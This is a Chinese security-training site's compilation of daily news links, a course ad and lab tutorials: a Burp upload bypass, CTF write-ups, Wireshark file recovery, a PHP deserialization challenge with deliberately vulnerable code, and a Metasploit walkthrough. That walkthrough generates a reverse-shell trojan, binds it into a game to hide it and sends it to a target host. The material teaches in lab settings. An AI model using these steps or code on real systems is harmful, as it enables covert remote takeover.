网络安全日报 2021年02月19日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、苹果发布了最新版本的《平台安全指南》
https://www.securityweek.com/apple-platform-security-guide-gets-biggest-update-date
2、研究人员发现专门针对搭载M1芯片的Mac恶意软件
https://www.securityweek.com/mac-malware-targeting-apples-m1-chip-emerges
3、微软称SolarWinds黑客下载了Azure、Exchange某些组件源代码
https://securityaffairs.co/wordpress/114731/hacking/solarwinds-hackers-microsoft-repositories.html
4、DoppelPaymer勒索软件攻击了起亚汽车并索要2000W美金
https://threatpost.com/kia-motors-ransomware-attack/164085/
5、网络钓鱼者伪造LinkedIn私有共享文件欺骗用户
https://www.helpnetsecurity.com/2021/02/18/linkedin-private-shared-document
6、超过257,000名在线博彩用户敏感数据在黑客论坛上出售
https://cybernews.com/security/sensitive-data-of-more-than-257000-online-gamblers-put-for-sale-on-hacker-forum
7、1400万个亚马逊和eBay账户详细信息在黑客论坛上出售
https://cybernews.com/security/14-million-amazon-and-ebay-accounts-sold-online-in-new-leak/
8、Agora SDK中漏洞允许攻击者悄悄加入音频和视频通话
https://www.zdnet.com/article/bug-in-shared-sdk-can-let-attackers-join-calls-undetected-across-multiple-apps/
9、研究人员发现太阳能网关设备ConnectPort X2e存在两个漏洞
https://www.securityweek.com/research-shows-how-solar-energy-installations-can-be-abused-hackers
10、研究人员披露新型的Office恶意软件-APOMacroSploit
https://thehackernews.com/2021/02/researchers-unmask-hackers-behind.html
写给Web新人,2021涨薪跳槽指南!
2021金三银四马上就要开启了,你为涨薪跳槽做好准备了吗?
随着网络信息技术的飞速发展和全面普及,国家及企业对网络安全人才求贤若渴,而网络安全职位中,Web安全相关职位占比更高,所以这就决定了Web安全人才在市场上拥有令人眼红的薪资水平。
当我们去看拉勾、BOSS直聘等招聘网站上的信息会发现,国内至少有数百家企业,有能力且愿意,年薪20万-60万,招募各类Web安全人才。
对于想转型进入网络安全人来说,Web安全是最容易入门的,因为它不需要有编程语言基础,所以,只要是目标明确、想在Web安全方向发展,且足够努力的同学,从零进入Web安全或跨行Web安全是很容易的,这也是为什么近年来从其他行业或者岗位转到Web安全岗的人在不断增加。
或许很多想零基础入行的同学要问了:
从零开始学习Web安全需要哪些必备技能?
怎样在短时间内达到大厂对Web安全岗位的要求,拿到 offer
......
对于工作 1-2 年的Web安全人员来说,他们同样面临着职业发展的问题:
在日常工作中缺少更靠谱的指导,也没有体系化的学习机会,以至于工作了几年,还觉得自己像野路子;
重复执行打杂的工作,没有核心竞争力,连升职加薪都很难,更别提进大厂了。
那么,作为Web安全工程师,如何更聪明地选择职业发展路径、提升自己核心技能、掌握体系化的产品知识,让自己早日避免打杂、低薪的状态,成为有“钱途”、有长期职业竞争力的人呢?
为了解决以上这些问题,我们调研了数百家安全企业对于Web安全人员的招聘需求,从岗位实际需求出发打造了这样一门课,3 节课 + 3 个实战练习 +7天社群服务 + 实战作业反馈 ,原价198元,限时优惠只需要 2分钱 !课程第一节课将于 2月22日开课,赶紧抢购吧!
限时 2 分钱
点击抢位
只要2分钱,就能带你入门Web安全,所以,强烈建议你不要犹豫。
除此之外,课程还包含一份100%有用的Web安全学习工具包,涉及虚拟机安装包、漏洞扫描工具及信息收集、权限提升、密码字典学习资料等等,我们都为你整理总结好了,报名完成后加班主任领取!
扫码添加班主任
如果你有无法解答的难题也不用急,课程中包含课程班主任 1V1 咨询辅导,不管是在工作还是学习中遇到的问题,都有机会得到专业的指导,这将确保:通过一次课程学习,你在学习或者工作中遇到的真实的问题,都会有专业的班主任为你解答,相信我,这是个超级无敌有价值的事,花钱也买不来的那种。
考虑到有很多新同学对这门课程还不是很了解,接下来我将花一点时间为你介绍一下这门课程的具体内容,以及蚁景网安学院的学习方式、服务模式等等。
01.这门课你将学到什么?1
建立Web安全整体知识体系
当你想快速进入一个行业的时候,第一步不是直接开始学习,而是梳理这个行业的知识体系,或者你这个行业所需要的掌握的必备能力,然后一步一步进行拆解。
这样的好处在于,第一能够清晰的理清楚你需要真正掌握的技能点,第二能够增强执行力,因为当你拆解成各个能力模块的时候,你的执行力会提高,因为你知道你需要每天做什么。
为此,老师将在课程中分享我们针对上百家企业的Web安全工程师岗位做了深度调研,总结出的Web安全学习路径,帮大家建立Web安全知识体系。
高清版扫码添加班主任领取
2
针对性技能实战训练
了解了整体的学习路径后,我们有针对性的选择了3个技能点——短信轰炸漏洞、支付逻辑漏洞、任意密码重置漏洞,在理论教学后,单独带领大家“实战训练”。
很多同学在理论学习完后,都有一种感觉,“听课感觉什么都懂,一做起来就什么都不会了”,归根结底是没有在上课完后,及时实操检验自己的学习成果。
本次课程,我们每节课,都配套了相应的实操环境,供你实操练习,让你学完后,立马可以操作,及时检验所学知识,查缺补漏。详细安排如下:
02.课程配套哪些服务
除了优质的课程内容和实操作业
我们还提供7天高质量班级服务,专业的班主任会在班级群里提供干货分享 + 答疑服务+作业催收,学员完成实战作业后,老师定时讲解作业重点、难点,确保学员真正掌握所学知识!(全勤到课且按时完成靶场作业的有优秀学员奖励哟!)
另外,班主任还会提供全程督学服务,在督促你按时到课的同时,帮你做业务诊断+就业推荐绿色通道(1v1免费推荐面试)。
所以,一定要记得添加班主任,班主任将会给你提供免费靶场作业地址、渗透测试学习资料并拉你进班级群,享受7天的高质量的班级群群服务和班主任 1 V 1 督学服务。
扫码添加班主任
03.这门课适合谁?
首先,如果你是信息安全专业在校学生,想通过学习从事安全相关工作,那么不要犹豫,这门课程是为你量身定制的,它非常适合你,因为课程配套了高强度的靶场实操训练,补足你在日常学习过程中实操经验不足等问题!
其次,这门课程也适合对黑客渗透技术感兴趣,却不知道怎么入门的同学——可能你对黑客这个群体的印象,只是局限于:是一群玩计算机很厉害的人,能通过电脑一顿操作就拿下一个网站,拿下一个服务器的权限。但是可能并不知道黑客是通过什么方法技巧来达到这个效果的,那么学完这门课,你将正式进入黑客的世界。
最后,未来的互联网行业中一定需要更多的复合型人才,所以,如果你是做功能测试的,做运维的、做开发的更应该好好学习这个课程,在你们的日常工作中,可能会经常会碰到服务器被攻击,收到各种异常攻击告警,但是却因为不了解黑客攻击技术,而无法定位黑客攻击路径并阻止攻击行为。所以如果你想你的职业再上一个台阶,安全是你必不可少的一个技能!
04.报名须知
Q课程直播还是录播?
2月22日(下周一)—2月24日(下周三)15:00—16:00,连续3天直播课,每节课课后配套实操作业,有疑问随时班级群咨询,老师在线答疑,让你充分吸收所学知识,共计3天直播+录播永久可看。
Q报名后需要做什么?
报名后扫码添加班主任为好友,并将支付截图发给她,班主任会在开课前统一拉入群。(班主任会在1天内通过好友,请耐心等待)。
以上,就是这样一门包含诸多干货内容+实操作业+ 1 V 1 服务的课程。
不要 999 ,也不要 99 ,只要 2分钱!
它一定不能解决你的所有问题。但是,它会是你“提升”的开始,从认知上改变你对Web安全岗位和行业的理解,进一步帮你掌握核心能力、完成职业路线的规划,成为更受企业欢迎的产品人才!
本课程第一节课即将于 2 月 22 日开课,想要在这个特殊时期率先“晋升”的同学,赶快长按识别下方图片中的二维码,一起加入我们吧!
Burpsuite简介及MIME上传绕过
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
本实验主要介绍了burpsuite的简介及MIME上传绕过,通过本实验的学习,你能够了解burpsuite以及文件上传检测,掌握burpsuite中Proxy模块和Target模块的使用,学会使用burpsuite绕过服务端MIME类型检测。
实验地址:http://yijinglab.com/expc.do?ce=ebb835a6-c82d-4bc5-9fca-cfb15ff78ee8
一、 使用Burpsuite的代理功能
访问试验机中的地址10.1.1.59:81,输入用户名和密码,打开burpsuite,设置好浏览器代理,点击sql injection,
截获的数据包如下
右键单击,如下图所示:
Send to XXX分别表示将截获的数据发送到各个模块,然后在各个模块下进行下一步操作。
下拉菜单,点击Send to Spider切换到Spider模块下,burpsuite会自动对网站进行爬行,Control选项卡下可以查看爬行的状态和设置爬行范围,Options选项卡中可以进行爬行的设置等。一段时间后切换到Target模块查看结果:
Change request method表示更改请求方式,如之前使用的GET请求,点击Change request method后为变为POST
Don’t intercept requests表示不截获请求,比如我们选择To this host,在Intercept is on时burp也不对此主机的请求做拦截。我们就可以正常访问该网页了。
然后我们切换到Proxy的Options选项卡下,查看Intercept Client Requests,已经增加了一条记录
Do intercept下Response to this request功能可用于对服务端发送过来的信息做修改来欺骗浏览器。
如果开启URL-encode as you type表示对你输入的&,=等字符将会被URL编码替换。
Target模块
这个模块下有两个选项卡,Site map主要是将爬行的站点以树形结构显示,Scope主要是用来设置范围进行过滤。
有时当我们对一个目标网址进行测试时,Site map下会出现许多不相关的网址,我们可以使用Filter来过滤,只留下目标网址
点击Filter,勾选Show only in-scope items
此时Site map下只剩下目标网址了
然后我们随便点击一个目录又会出现许多功能
点击Remove from scope,比如我此时选择css,该目录就会消失,对应的Scope选项卡下便会多出一条记录
点击Spider this branch,burp就会对该目录进行爬行
点击Expand branch来展开分支,其他功能不是很常用,有兴趣的小伙伴可以自行研究哦。
Site map选项卡右边可以看到一些请求的信息,在Host下可以选择对链接进行高亮显示,comment下可以添加注释,针对单个链接也可进行右键操作。
三、使用burpsuite上传绕过服务端MIME类型检测
1.首先在桌面上新建一个1.txt,此处我写入“文件上传绕过测试!”。然后将后缀修改为jpg。
2.打开试验机地址10.1.1.59:81,输入用户名和密码,点击Upload
3.设置好代理,然后点击upload,burpsuite已经截获到了数据包,右击send to repeater
4.我们将Content-Type后的text/plain修改为image/jpeg
5.点击go,从右侧可以看到已经上传成功,我们在右下方输入1.jpg进行搜索刚才上传的图片。
6.关闭代理,打开搜索到的路径
如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
网络安全日报 2021年02月18日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、美国起诉朝鲜 Lazarus APT黑客组织成员
https://www.securityweek.com/us-charges-north-korean-hackers-over-13-billion-bank-heists
2、微软承认KB4535680补丁会触发BitLocker密钥恢复提示
https://www.bleepingcomputer.com/news/microsoft/windows-10-secure-boot-update-triggers-bitlocker-key-recovery/
3、OpenSSL修补了三个新漏洞
https://www.securityweek.com/three-new-vulnerabilities-patched-openssl
4、网络犯罪组织ScamClub利用WebKit零日漏洞
https://securityaffairs.co/wordpress/114689/cyber-crime/scamclub-malvertising-webkit-zero-day.html
5、黑客利用Ngrok平台进行网络钓鱼攻击
https://securityaffairs.co/wordpress/114644/cyber-crime/ngrok-phishing-attacks.html
6、文件共享应用SHAREit存在严重漏洞尚待修复
https://securityaffairs.co/wordpress/114636/mobile-2/shareit-app-flaw.html
7、恶意挖矿木马WatchDog已悄悄传播了两年
https://threatpost.com/windows-linux-devices-hijacked-in-two-year-cryptojacking-campaign/164048/
8、苹果修复了macOS Big Sur严重的数据丢失错误
https://www.zdnet.com/article/apple-patches-severe-macos-big-sur-data-loss-bug/
9、加密货币交易所EXMO遭受DDoS攻击而宕机
https://portswigger.net/daily-swig/uk-cryptocurrency-exchange-exmo-knocked-offline-by-massive-ddos-attack
10、安全专家披露Telegram漏洞可访问用户聊天记录
https://securityaffairs.co/wordpress/114653/hacking/telegram-flaw-access-secret-chats.html
网络安全日报 2021年02月10日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Adobe修复了在野利用的Adobe Reader漏洞
https://www.securityweek.com/adobe-patches-reader-vulnerability-exploited-wild
2、微软周二发布了56个漏洞修复补丁
https://www.securityweek.com/patch-tuesday-microsoft-warns-under-attack-windows-kernel-flaw
3、赛博朋克2077开发商遭黑客攻击源代码被盗
https://www.securityweek.com/cyberpunk-2077-video-game-developer-hit-hack-attack
4、联合国专家:朝鲜利用网络攻击筹集资金发展核武器
https://www.securityweek.com/un-experts-north-korea-using-cyber-attacks-update-nukes
5、乌克兰警方逮捕了U-Admin网络钓鱼工具包的作者
https://securityaffairs.co/wordpress/114394/cyber-crime/author-u-admin-phishing-arrest.html
6、微软提醒Office 365用户注意国家级黑客活动
https://www.bleepingcomputer.com/news/security/microsoft-to-alert-office-365-users-of-nation-state-hacking-activity/
7、安全厂商披露APT-C-50组织的监控行动
https://securityaffairs.co/wordpress/114353/apt/domestic-kitten-operations.html
8、匹兹堡大学医学中心3.6万名患者健康信息遭受泄露
https://www.infosecurity-magazine.com/news/law-firm-data-breach-impacts-upmc/
9、一项Facebook钓鱼活动在两周内欺骗了50W用户
https://cybernews.com/security/we-uncovered-a-facebook-phishing-campaign-that-tricked-nearly-500000-users-in-two-weeks/
10、东京燃气披露Furo Koi用户数据泄露
https://portswigger.net/daily-swig/tokyo-gas-discloses-data-breach-impacting-anime-style-dating-simulation-game
CTF从入门到进阶之MISC
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
0x01:背景
CTF竞赛是安全圈喜闻乐见的竞赛模式,对于培养网络安全技术人才起到了很重要的作用。CTF起源于1996年DEFCON全球黑客大会,是Capture The Flag的简称。经过多年的发展,CTF这种比赛形式已经日益成熟。
CTF注重动手技能,深厚的理论功底厚积薄发,技术的卓越是建立在无数次训练的基础上,那么我们来看看有哪些不错的平台可以来用于比赛训练。
一般线上初选采用传统的夺旗赛模式,也就是在题目中设置一些标识,解题的目的就是为了找到标识并提交。通常包含的题目类型包括MISC、CRYPTO、PWN、REVERSE、WEB等。
MISC(Miscellaneous)类型,即安全杂项,题目或涉及流量分析、电子取证、人肉搜索、数据分析等等。
CRYPTO(Cryptography)类型,即密码学,题目考察各种加解密技术,包括古典加密技术、现代加密技术甚至出题者自创加密技术。
PWN类型,PWN在黑客俚语中代表着攻破、取得权限,多为溢出类题目。
REVERSE类型,即逆向工程,题目涉及到软件逆向、破解技术。
WEB类型,即题目会涉及到常见的Web漏洞,诸如注入、XSS、文件包含、代码执行等漏洞。
本系列文章将会逐一介绍这五大传统类型的题目的攻略及经典题目的WriteUp,以此来帮助对信安感兴趣的小伙伴们通过CTF竞赛的方式更好地学习、掌握信息安全相关技能。
0x02MISC介绍
我们先从五大模块中的最有意思最好玩的一块开始说起,那就是MISC。
MISC,中文即杂项,包括隐写,数据还原,脑洞、社会工程、与信息安全相关的大数据等。
竞赛过程中解MISC时会涉及到各种脑洞,各种花式技巧,主要考察选手的快速理解、学习能力以及日常知识积累的广度、深度。
MISC这一块并不像PWN\REVERSE等需要深厚的理论基础,所以我们直接从经典题目开始入手。
0x03说明
0x04部分为WP,作为给小伙伴们提供结题思路之用,如果想获得好的训练效果,请先不要看0x04部分。前往文章开篇给出的链接下载题目自己先动手试试。
0x04CTF仿真题WP
1.紧急报文
密文都由ADFGX,百度一下,发现有个ADFGX密码
密码表如图
对应着解密即可
FA XX DD AG FF XG FD XG DD DG GA XF FA
flagxidianctf
提交:flag_Xd{hSh_ctf:flagxidianctf}
2.flag.xls先介绍最简单的方法
直接仍在winhex中然后查找flag关键字即可
别的方法也是半斤八两,因为打开xls它要密码,所以我们就用notepad或者notepad++打开都行,在搜索flag就行了
3.图片里的动漫
一张图片而已,果断拉到kali里binwalk
看到了ZIP
于是后缀改为.zip打开,得到flag.rar,需要密码,再次binwalk
发现.JPEG,于是改格式为.jpeg,打开发现是七龙珠的图片
题目提示是小写英文字母,七龙珠的英文是dragon ball,提示发现错误
考虑到图片是倒着的,所以答案也是倒着的,即逆序,得到答案
CTF{llabnogard}
4.Canon
下载后解压是一段mp3和一个压缩文件,压缩文件打不开先放着,我们先处理mp3
misc肯定会涉及到隐写,处理mp3的隐写一般使用mp3Stego,但是处理时需要密码,试试用标题Canon
打开文件夹,发现
打开txt,里面的就是前面的压缩文件的解压密码
解压后里面有个txt,目测是base64,但是这么长的base64让你解密是不合理的,所以考虑可能是某种类型的某件缺了些代码,补上后再按照相应的格式打开就行了
txt文件提示我们是png格式,所以直接后缀改为.png用winhex打开看看,发现没有明显的文件头
所以我们给它添加,这里直接用Python来,顺便生成最后的图片
import base64
def foo():
f=open(‘C:\Users\hasee\Downloads\mimimi\zip\pic_png.txt’).read()
fsave=open(‘pic.png’,’wb’)
addHeader=”89 50 4E 47 0D 0A 1A 0A”.replace(’ ‘,”).decode(‘hex’)
fsave.write(addHeader)
fsave.write(base64.b64decode(f))
fsave.close()
pass
if name == ‘main‘:
foo()
print ‘ok’
pass
打开生成后的图片得到答案
当然,非要base64解密也行,解密后把看上去干净点的代码复制到word里查找CTF就得到答案了
5.ROT-13变身了
rot-13作为置换暗码的一种都是数字怎么可能,所以应该想到ascii
题目提示回旋13,我们-13就行了
python中的chr可以自动转换,我们由此跑python
????表示为未知,给我们的MD5也查不出来,所以只能自己爆破了,爆破的思路大概就是:
?作为ASCII的可见字符,范围在32-126,有95种可能,四个????所以有95^4中可能,每种排列出来后再进行MD验证
由此思想来跑PYHTON
得出答案
6.解码磁带
只有字符’o’和下划线’‘,不免让我们想起二进制,只有0和1,却能表示所有信息,所以我们尝试用0,1替换o和
而究竟0对于o还是_呢?我们有例子可以得到
跑Python的思路是这样子的,换成二进制后再转换成ascii,然后相应解码即可,也可以参考这张图片
直接用二进制对应字母
python结果如下:
按照格式提交即可
7.功夫秘籍
下载来的是一个压缩包,打开它。。。我的天,居然打不开。扔到winhex看看,发现是png
本来想直接改成png的,但是想到改了之后还是要winhex,干脆直接搜索key,flag等关键字,找到了
目测base64,解码
目测栅栏,解码
提交时只需要提交{}里面的内容就行了
8.WTF?
打开一看一堆乱七八糟的东西,不过拉到最下面发现有=,base64解之
得到01的组合
数了一下有65536 = 256*256
正方形是吧
那么尝试组个正方形出来
作图的话processing挺好用
扫一扫就出来了
9.社交网络
下载来的压缩文件需要密码,爆破之
解压后得到文件,右键查看属性,得到flag
10.有趣的文件
最前面的8位是地址,不用管,后面的应该是文件头,百度afbc 1c27
看样子应该是.7z的压缩文件,不过给出的acsii里面没有37 7a,这就是缺少的,需要我们补上
,补上后发现什么文件也不是,问题出在哪里呢?
百度后发现每两位应该交换一下
这个任务太繁重了,本来还想这放在winhex里面手工的,这里直接Python 吧
def revStr(s):
news=””
for i in xrange(0,len(s),4):
news+=s[i+2:i+4]
news+=s[i:i+2]
return news
def foo():
f=open(‘funfile’)
s=”377a”
for line in f:
s+=revStr(line.strip()[8:].replace(’ ‘,”))
fsave=open(‘fun.7z’,’wb’)
fsave.write(s.decode(‘hex’))
fsave.close()
pass
if name == ‘main‘:
foo()
print ‘finished’
自动生成fun.7z压缩文件,解压后是一张阿狸的图片,拖进winhex看看,发现疑似flag的base64加密过的
复制后base64解码就行了
0x05结语
看到这儿,小伙伴们是不是觉得MISC很有意思呢,由于MISC的类型比较多,难免挂一漏万,不过我还是尽可能多地给小伙伴提供各种花式姿(知)势(识)。
MISC之路,漫漫其修远兮,且行且珍惜。
如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
Kali渗透Windows服务器
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
这个实验主要让我们学习漏洞扫描技术基本原理,了解其在网络攻防中的作用,掌握使用Kali中的Metasploit对目标主机渗透,并根据报告做出相应的防护措施。
本次实战环境:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015082709525300001
实战步骤一
本实验通过利用kali进行漏洞扫描,使用Metasploit对目标主机进行渗透测试,并根据报告做出相应的防护措施,共分为3个实验步骤,详情如下;
1、 实战步骤一:生成setup.exe后门程序,即木马程序。
(1) 打开kali终端,输入ifconfig, 得到本机ip为192.168.189.130。
如下图:
(2)输入以下命令,使用msfpayload生成名为setup的后门程序:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.189.130 x > setup.exe 如下图:
(3) 进入setup.exe所在目录,修改属性:选择“允许以程序执行文件”。
如下图所示:
(4) 终端中输入首先msfconsole;然后输入use exploit/multi/handler来加载 exploit/multi/handler 模块;输入set LHOST 192.168.189.130来设置本地主机;然后输入exploit -z -j开始监听,如下图所示:
实战步骤二
将上面生成的木马程序与某个软件进行捆绑。
(1)可以在windows系统下使用exe捆绑软件将setup.exe和一个其他的某个安全软件合并为一个软件,这样在运行软件时两个软件同时运行,不会引起注意。在tools里面进入名为exekunbang的文件,先打开ExeBinder.exe捆绑软件。选择第一个要合并的软件,默认选择本软件中自带的小游戏程序:
点击下一步,选择第二个要捆绑的软件,即之前生成的木马程序setup.exe:
点击下一步,选择一个文件要保存的路径:
继续点击下一步,开始捆绑软件:
(2) 将捆绑后的软件发送给目标主机。
实战步骤三
检测目标主机,对目标主机进行渗透测试。
(2) 目标主机执行程序后,在kali终端中的检测程序会及时检测到。在检测到目标主机运行程序后,后门程序会反向连接到msf,之后msf发起第二次攻击(开始渗透),然后客户端(后门程序)连接到服务端(msf)。输入sessionss:
可以看到目标主机的ip为192.168.189.129,
(2)再继续输入sessions -i 1,之后可以对目标主机进行一系列的操作。如输入sysinfo可知道目标主机的系统信息;输入 getuid查看对方正在运行的用户。
要养成多思考多总结的习惯,对实验结果多去分析,这样回收获更多。比如如何利用kali进行漏洞扫描;如何使用Metasploit对目标主机进行渗透测试;这些都是这次实战后可以去思考的。
这个技术你学会了吗?加入https://www.yijinglab.com/mobile/actReg.html?pk_campaign=wenzhang-wemedia,1300+网安技能任你学!
网络安全日报 2021年02月09日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、黑客攻击了佛罗里达市一家城市自来水厂
https://www.securityweek.com/remote-hacker-caught-poisoning-florida-city-water-supply
2、Google推出开源软件漏洞数据库
https://www.securityweek.com/google-launches-database-open-source-vulnerabilities
3、新的网络钓鱼使用摩尔斯电码来隐藏恶意URL
https://securityaffairs.co/wordpress/114346/cyber-crime/hishing-technique-morse-code.html
4、Ziggy勒索软件已关闭其运营并释放了解密密钥
https://securityaffairs.co/wordpress/114340/malware/ziggy-ransomware-decryptor.html
5、研究人员开发出一种可以识别假新闻的方法
https://www.helpnetsecurity.com/2021/02/08/recognize-fake-news/
6、神秘的黑客组织破坏了多个斯里兰卡域名
https://www.zdnet.com/article/hacktivists-deface-multiple-sri-lankan-domains-including-google-lk/
7、NextGen Gallery插件漏洞可导致WordPress网站被接管
https://threatpost.com/critical-wordpress-plugin-flaw-site-takeover/163734/
8、微软警告针对Office 365 的OAuth网络钓鱼攻击增多
https://www.bleepingcomputer.com/news/security/microsoft-warns-of-increasing-oauth-office-365-phishing-attacks
9、Firefox 发布 85.0.1 版本更新修复一个高危漏洞
https://www.mozilla.org/en-US/security/advisories/mfsa2021-06/
10、RD Web Access被发现可以通过 Timing Attack 泄露用户名信息
https://raxis.com/blog/rd-web-access-vulnerability
wireshark之文件还原
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
本文涉及相关实验:wireshark之文件还原 https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014122315591000001
实验目标:
黑客A通过ARP欺骗,使用wireshark获取了整个局域网内的网络流量信息。无意之中,他发现有人在某个网站上上传了一份文件。但是他不知道怎么样通过wireshark去还原这份文件,没办法,他将监听到的数据包保存为了一份wireshark的监听记录,打算去向你请教。你能帮助他找到那份上传的文件吗?
我们的任务分为3个部分:
1. 对抓到的包进行显示过滤,找到关键信息。
2. 对信息进行跟踪,确定上传文件的TCP流,并保存为二进制原始文件。
3. 对文件中上传文件的信息进行处理,去掉多余的包头和包尾,得到原始文件。
1.1 实验任务一
任务描述:使用wireshark导入监听数据包,对数据进行显示过滤,提取出来关键信息。
1. 打开catchme.pcapng,双击即可。会发现数据记录一共有148条。如果单纯的从开始到结尾去一条一条的审计,是非常费力的事情。而且实际操作过程中,148条记录,已经算是很少的了。
2. 好在wireshark为我们提供了强大的过滤显示功能。我们在filter中可以定义显示出来什么样的数据包。
3. 从题目我们可以明确,上传时访问的是个网站,因此我们需要进行协议过滤。在filter中输入http,表示我们要显示所有使用http协议的数据包。输入回车,或者点击旁边的APPLY按钮,就可以进行显示过滤。
从图上下方我们可以看到,数据包由原来的148个变成了32个。这样就很容易帮我们分析了。
4. 仔细分析,我们会在末尾左右的第143条数据记录中的info中看到upload这个词,我们怀疑这条就是涉及到上传的数据包。
如果你在此之前有些编写网站的经验,就会知道上传文件提交可以使用post一个表单的形式。所以,你也可以使用包过滤显示,选出所有使用post方法提交的数据包。我们可以输入http.request.method==”POST”进行包过滤。这时候的显示如下:
看到了吧,这时候只显示了唯一一条记录,就是我们刚才找到的序号为143的记录,是不是快了很多啊。因此,掌握数据包过滤,是熟练掌握wireshark的必备技能之一。
1.2 实验任务二
任务描述:确定POST这条数据包是否上传了文件,若存在则将数据dump出来。
1. 虽然我们看到了有upload关键字,有post方法,但是我们不能确定是不是真的就是上传文件的那个请求。我们来分析一下。双击该行。弹出协议分析框。点击+号,将子栏展开。
我们可以看到,确实是上传了文件,而且文件名是bingo.png.原来他上传的是一张图片。在上方红色部分,我们可以看到由于文件比较大,TCP协议对其进行了切片,一共切了5个片。我们点击下方的各个Frame,就可以看到每个包中的内容。
问题来了,能不能将这几个切片还原成一个流式会话,这样我们就能看到一个会话过程,而不是需要一个一个的去点击。
Wireshark还真可以做到。
2. 关闭这个界面,回到我们过滤后的那个POST包,右键Follow TCP Stream
这时候我们会看到:
整个会话都被还原了出来。我们看到了png的原始信息。继续往下拉,我们会看到有关蓝色的显示,这是服务器给我们的回应。我们的图片信息保存在请求部分,因此可以过滤掉响应部分。
因为文件肯定比响应大,所以我们选择6010那个。这时候就没有响应部分出现了。
3. 保存原始文件,以便下一步处理。我们已经知道,请求部分中包含了文件的原始信息。因此,我们可以先保存下来,然后处理一下,得到原始文件。
我们选择raw类型进行保存,表示使用二进制形式保存文件。
保存为任意格式的文件,这里我们保存为temp.bin
1.3 实验任务三
任务描述:
使用winhex对文件进行最终处理,并保存文件。
1. 将刚才保存的temp.bin用winhex打开。
会看到,文中包含请求信息和我们的图片信息,以及文件结尾的尾部信息。我们需要做的事情是确定图片文件的原始信息头和尾,去掉多余部分。
2. 回到wireshark中,会看到我们刚才的tcp stream流中,关于图片的头部分
在content-type: image/x-png后面有两个换行符,然后开始我们的原始文件。换行符用十六进制表示是 0D 0A.因为有两个,所以,我们在图片附近寻找0D 0A 0D 0A.后面的部分就表示图片的开始。
3. 回到winhex中,我们找到了上述数字
这时候我们需要去掉图片以上的部分。在00000000偏移处点击alt+1,表示选块开始。
在我们找到的0D 0A 0D 0A处的最后一个0A处点击alt+2.表示选块结束。这时候,我们就选中了图片之前的多余部分。
按下delete键,选择yes。
这时候文件中的多余头部已经被删除
4.回到wireshark中,我们看看图片传送完毕之后的尾部部分。
我们可以看到,这次是一个换行符。后面有些文件结束标志-------------,我们同样删除它们。
这时候我们的文件中就仅仅是原始图片的内容了。Ctrl+S保存。
最激动人心的一步来了。将我们的temp.bin改为temp.png.打开看下:
祝贺你,已经完成了我们本次实验,拿下神秘的key。
这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
老赛棍寒假复习计划——反序列化篇(一)
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
本篇主要讲解过去一年来各大比赛中出现的比较典型的几个反序列化题目
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182016010714511600001 (通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。)
xnuca个人赛题目解析
复现环境:
链接:https://pan.baidu.com/s/1U_uDvgtzfFV165158xGE9A
提取码:7ryd
复制这段内容后打开百度网盘手机App,操作更方便哦--来自百度网盘超级会员V3的分享
寒假难得有时间把这一年的比赛题目都好好整理一下,首先来的是xnuca个人赛的一道题目,比较新颖,属于中等难度的web phar写入和反序列化题目,貌似在其之后的DASCTF也考察了类似的知识点,因为时间实在久远,加上xnuca当时的一小部分源码实在是找不到了,就借用了DASCTF的部分代码来进行讲解,解题方式是一样的。
这道题目首先需要通过变量覆盖来利用file_get_contents读取template.php,然后通过template.php写入phar进行反序列化。
考点一:变量覆盖
首先是一个index.php
<?php
error_reporting(E_ALL);
$sandbox = './' . md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandbox)) {
mkdir($sandbox);
}
include_once('template.php');
$template = array('tp1'=>'tp1.tpl','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');
if(isset($_GET['var']) && is_array($_GET['var'])) {
extract($_GET['var'], EXTR_OVERWRITE);
} else {
highlight_file(__file__);
die();
}
if(isset($_GET['tp'])) {
$tp = $_GET['tp'];
if (array_key_exists($tp, $template) === FALSE) {
echo "No! You only have 3 template to reader";
die();
}
$content = file_get_contents($template[$tp]);
$temp = new Temp($content);
} else {
echo "Please choice one template to reader";
}
?>
extract变量覆盖。原理是:extract() 函数从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。
正常的用法通常用于把数组的值转化为变量,就好像把数组一个个解压出来成为变量一样,是不是很像extract的意思:
<?php
